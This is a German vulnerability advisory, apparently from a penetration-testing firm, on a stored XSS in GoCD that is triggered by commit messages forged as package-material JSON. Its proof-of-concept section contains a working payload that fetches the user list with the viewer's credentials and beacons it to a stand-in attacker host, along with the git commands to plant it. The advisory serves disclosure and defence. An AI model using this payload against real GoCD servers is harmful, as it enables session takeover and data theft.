GoCD: Stored XSS über gefälschte Package-Material-Kommentare
Wer in ein von GoCD überwachtes Repository pushen kann, formt seine Commit-Message als Package-Material-JSON; GoCD gibt sie daraufhin ohne HTML-Escaping aus und der eingebettete Skriptcode läuft in der Sitzung jedes Betrachters, bis hin zum Administrator.
Advisory-ID: TP-2026-037
Produkt: GoCD (Open-Source-Server für Continuous Delivery mit Pipeline-Modellierung, Value Stream Map und verteilten Build-Agenten)
Schwachstellentyp: Stored Cross-Site Scripting über Kommentare von SCM-Materialien (CWE-80)
CVE: CVE-2026-68919
CVSS 4.0: 7.0 (Hoch) · CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N
Hersteller-Advisory: GHSA-pp5x-wgv2-g37p
Betroffene Versionen: >= 13.3.0, < 26.1.0
Behoben in: 26.1.0
Gemeldet: 4. Juli 2026
Zusammenfassung
GoCD ist ein Open-Source-Server für Continuous Delivery, der Quellcode-Repositories als sogenannte Materialien überwacht und die Kommentare der gefundenen Änderungen in der Weboberfläche anzeigt. Beim Rendern dieser Kommentare entscheidet GoCD anhand einer Zeichenketten-Suche im Kommentartext selbst, ob es der Kommentar eines Package-Materials ist, und schaltet in diesem Fall auf einen Renderpfad um, der den Text ohne HTML-Escaping ausgibt. Wer in ein überwachtes Repository pushen kann, formt seine Commit-Message deshalb so, dass sie diesen Pfad trifft, und bringt beliebiges Markup in die Stage-Detail-, Job-Detail-, VSM- und Pipeline-History-Seiten. Da GoCD keinen Content-Security-Policy-Header setzt, läuft der eingebettete Skriptcode ungebremst in der Origin des GoCD-Servers und in der Sitzung jedes Betrachters, bis hin zum System-Administrator. turingpoint hat die Schwachstelle live verifiziert und an den Hersteller gemeldet, der sie in Version 26.1.0 behoben hat.
Ursache
render_comment_markup_for (server/src/main/webapp/WEB-INF/rails/app/helpers/materials_helper.rb:24) entscheidet allein per Substring-Regex /"TYPE":"PACKAGE_MATERIAL"/ gegen den rohen Kommentartext (:25), ob ein Kommentar als Package-Material-Kommentar behandelt wird. Bei einem Git-, Mercurial- oder Subversion-Material ist dieser Kommentar die Commit-Message (render_comment ruft modification.getComment(), :33), steht also unter der Kontrolle jeder Person mit Schreibzugriff auf das Repository. Trifft die Regex, läuft der Text über render_comment_for_package_material (:36-38) und ActiveSupport::JSON.decode (:47) in get_comment, das comment_map['COMMENT'] unescaped interpoliert und das Ergebnis .html_safe markiert (:51, :38). Der Nachbarzweig derselben Methode escaped korrekt über DefaultCommentRenderer mit StringEscapeUtils.escapeHtml4 (config/config-api/src/main/java/com/thoughtworks/go/domain/DefaultCommentRenderer.java:112), sodass ein Committer sich durch die Form seiner Commit-Message selbst aus dem geschützten in den rohen Zweig schaltet. GoCD sendet keinen Content-Security-Policy-Header, und der Kommentar wird bereits beim Einplanen der Pipeline gerendert, weshalb weder ein Package-Repository-Plugin noch ein laufender Build-Agent nötig ist.
Proof of Concept
# 1) Commit-Message als gefälschtes Package-Material-JSON in eine Datei schreiben
cat > msg.txt <<'EOF'
{"TYPE":"PACKAGE_MATERIAL","COMMENT":"<img src=x onerror=fetch('/go/api/users',{credentials:'include'}).then(r=>r.text()).then(t=>navigator.sendBeacon('https://attacker.example/x',t))>","TRACKBACK_URL":"http://tracker.invalid/1"}
EOF
# 2) In ein Repository pushen, das in GoCD als Git-Material einer Pipeline konfiguriert ist
git commit --allow-empty -F msg.txt && git push
# 3) GoCD pollt das Material und plant die Pipeline; die Stage-Detail-Seite
# liefert den Kommentar an jeden Betrachter ungefiltert aus
GET /go/pipelines/vr2pipe/1/defaultStage/1
# <div class='container'><img src=x onerror=...></div>
Der Klassifizierer prüft nur, ob der Marker-String im Kommentar vorkommt, nicht, welchen Typ das Material tatsächlich hat; eine passend geformte Commit-Message umgeht damit den escapenden Renderer. Live verifiziert auf gocd/gocd-server:v25.4.0: das <img>-Element erschien roh in <div class='container'>, während das Feld "Modified by" derselben Seite korrekt als <[email protected]> escaped wurde, und weder ein Package-Repository-Plugin noch ein Build-Agent war vorhanden. Enthält die Commit-Message den Marker-String mit ungültigem JSON, wirft ActiveSupport::JSON.decode stattdessen eine Exception und die Seite antwortet mit HTTP 500.
Auswirkung
- Skriptausführung in der Origin des GoCD-Servers, in der Sitzung jedes Benutzers, der die Stage-Detail-, Job-Detail-, VSM- oder Pipeline-History-Seite der betroffenen Pipeline öffnet.
- Übernahme einer Administratorsitzung, die das Anlegen weiterer Administratoren, das Umschreiben von
cruise-config.xmlund das Auslesen hinterlegter Secrets erlaubt. - Schreibzugriff auf ein von GoCD überwachtes Repository genügt als Ausgangsposition; ein GoCD-Konto braucht der Angreifer nicht.
- Denial of Service als Zweitwirkung: eine Commit-Message mit dem Marker-String und ungültigem JSON lässt die betroffene Seite mit HTTP 500 fehlschlagen.
Referenzen
Steckt so etwas in Ihrer Software?
Diese Schwachstelle hat unser Team im Rahmen seiner Arbeit gefunden. Lassen Sie Ihre Anwendungen von denselben Spezialisten prüfen, mit einem Penetrationstest von turingpoint.
